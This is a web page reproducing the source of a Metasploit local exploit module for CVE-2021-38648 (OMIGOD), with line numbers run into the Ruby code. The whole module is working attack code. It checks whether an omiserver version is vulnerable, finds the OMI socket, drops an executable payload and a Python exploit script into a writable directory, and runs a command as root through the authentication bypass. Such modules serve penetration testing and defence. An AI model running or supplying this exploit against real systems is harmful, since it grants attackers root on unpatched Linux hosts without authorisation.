Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/cve_2021_38648_omigod.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::Process11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze15DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Microsoft OMI Management Interface Authentication Bypass',22'Description' => %q{23By removing the authentication exchange, an attacker can issue requests to the local OMI management socket24that will cause it to execute an operating system command as the root user. This vulnerability was patched in25OMI version 1.6.8-1 (released September 8th 2021).26},27'References' => [28['CVE', '2021-38648'],29['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],30['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],31['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']32],33'Author' => [34'Nir Ohfeld', # vulnerability discovery & research35'Shir Tamari', # vulnerability discovery & research36'Spencer McIntyre' # metasploit module37],38'DisclosureDate' => '2021-09-14',39'License' => MSF_LICENSE,40'Platform' => ['linux', 'unix'],41'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],42'SessionTypes' => ['shell', 'meterpreter'],43'Targets' => [44[45'Unix Command',46{47'Platform' => 'unix',48'Arch' => ARCH_CMD,49'Type' => :unix_cmd,50'Payload' => { 'DisableNops' => true, 'Space' => 256 }51}52],53[54'Linux Dropper',55{56'Platform' => 'linux',57'Arch' => [ARCH_X86, ARCH_X64],58'Type' => :linux_dropper59}60]61],62'DefaultTarget' => 1,63'DefaultOptions' => {64'MeterpreterTryToFork' => true65},66'Notes' => {67'AKA' => ['OMIGOD'],68'Stability' => [CRASH_SAFE],69'Reliability' => [REPEATABLE_SESSION],70'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]71}72)73)7475register_advanced_options([76OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),77OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])78])79end8081def check82pid = pidof('omiserver').first83return CheckCode::Safe('The omiserver process was not found.') if pid.nil?8485omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first86omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)87return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?8889vprint_status("Found #{omiserver_bin} running in PID: #{pid}")90if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/91version = Regexp.last_match(1)92else93return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')94end9596return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')9798CheckCode::Appears("Version #{version} is affected.")99end100101def upload(path, data)102print_status "Writing '#{path}' (#{data.size} bytes) ..."103write_file path, data104ensure105register_file_for_cleanup(path)106end107108def find_exec_program109%w[python python3 python2].select(&method(:command_exists?)).first110end111112def get_socket_path113socket_path = datastore['SocketPath']114return socket_path unless socket_path.blank?115116pid = pidof('omiserver').first117fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?118119if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}120socket_path = Regexp.last_match(1)121else122begin123socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?124rescue StandardError # rubocop:disable Lint/SuppressedException125end126end127128fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?129130vprint_status("Socket path: #{socket_path}")131socket_path132end133134def exploit135python_binary = find_exec_program136fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary137138vprint_status("Using '#{python_binary}' to run the exploit")139socket_path = get_socket_path140path = datastore['WritableDir']141python_script = rand_text_alphanumeric(5..10) + '.py'142143case target['Type']144when :unix_cmd145root_cmd = payload.encoded146when :linux_dropper147unless path.start_with?('/')148# the command will be executed from a different working directory so use an absolute path149fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')150end151152payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"153if payload_path.length > 256154# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the155# command that is executed156fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')157end158159upload(payload_path, generate_payload_exe)160cmd_exec("chmod +x '#{payload_path}'")161root_cmd = payload_path162end163164upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))165cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"166vprint_status("Running #{cmd}")167output = cmd_exec(cmd)168vprint_line(output) unless output.blank?169end170end171172173